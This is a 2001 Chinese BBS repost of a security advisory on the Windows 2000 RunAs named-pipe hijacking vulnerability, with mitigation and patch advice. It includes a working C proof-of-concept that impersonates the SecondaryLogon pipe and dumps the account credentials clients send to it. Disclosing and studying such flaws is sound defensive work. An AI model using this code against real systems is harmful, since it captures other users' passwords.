荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: michaelx (水并不是这样灌的), 信区: Security
标  题: Microsoft Windows 2000 RunAs 命名管道劫持漏洞
发信站: 荔园晨风BBS站 (Tue Nov 13 22:30:58 2001), 转信

Microsoft Windows 2000 RunAs 命名管道劫持漏洞
发布日期: 2001-11-12
更新日期: 2001-11-13
受影响的系统:
Microsoft Windows 2000 SP2
Microsoft Windows 2000 SP1
Microsoft Windows 2000
描述:
----------------------------------------------------------------------------
----
BUGTRAQ ID: 3185
Windows 2000 的RunAs服务允许一个用户以其它用户的身份执行命令,该服务存在一个

安全问题,可能导致用户命名管道被劫持。
当RunAs服务被调用时,会创建一个命名管道用于客户端提交证书(即帐号密码信
息),该命名管道是明文通信的。当RunAs服务结束之后,如果另一个用户试图使用
RunAs服务时,攻击者就可以创建一个同名的命名管道。
<*来源:Camisade - Team RADIX (research@camisade.com)
  参考:http://www.camisade.com/research/reports/radix1112200101.html
*>
测试程序:
----------------------------------------------------------------------------
----
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Camisade - Team RADIX (research@camisade.com)提供了一个测试程序:
// radix1112200101.c - Camisade - Team RADIX - 11-12-2001
//
// Camisade (www.camisade.com) is not responsible for the use or
// misuse of this proof of concept source code.
#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#define MAX_IN_BUF   0x1000
#define MAX_OUT_BUF  0x4
#define MAX_INST     0xA
#define SECONDARY_LOGON_PIPE  _T("\\\\.\\pipe\\SecondaryLogon")
void main()
{
   HANDLE hPipe;
   hPipe = CreateNamedPipe(SECONDARY_LOGON_PIPE, PIPE_ACCESS_DUPLEX,
      PIPE_TYPE_BYTE|PIPE_WAIT, MAX_INST, MAX_OUT_BUF, MAX_IN_BUF,
      NMPWAIT_USE_DEFAULT_WAIT, 0);
   if (hPipe == INVALID_HANDLE_VALUE)
   {
      printf("Can't create secondary logon pipe.  Error %d\n", GetLastError(
));
      return;
   }
   printf("Created pipe and waiting for clients...\n");
   if (ConnectNamedPipe(hPipe, 0))
   {
      UCHAR InBuf[MAX_IN_BUF];
      DWORD dwReadCount;
      while (ReadFile(hPipe, InBuf, MAX_IN_BUF, &dwReadCount, 0))
      {
         printf("Read %d bytes.  (ASCII Dump)\n", dwReadCount);
         DWORD dwPos;
         for (dwPos = 0; dwPos < dwReadCount; dwPos++)
         {
            printf("%c ", InBuf[dwPos]);
            if ((dwPos % 16) == 0)
               printf("\n");
         }
         DWORD dwReply = ERROR_ACCESS_DENIED;
         DWORD dwWroteCount;
         WriteFile(hPipe, &dwReply, sizeof(DWORD), &dwWroteCount, 0);
      }
   }
   DisconnectNamedPipe(hPipe);
   CloseHandle(hPipe);
}
----------------------------------------------------------------------------
----
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 暂时停止使用或者删除RunAs服务
厂商补丁:
该漏洞的补丁将包含在Service Pack 3中,我们建议使用此软件的用户随时关注厂商的

主页以获取该补丁:
http://www.microsoft.com/

--
M.X的FTP SERVER
ftp://192.168.55.18

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.55.18]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店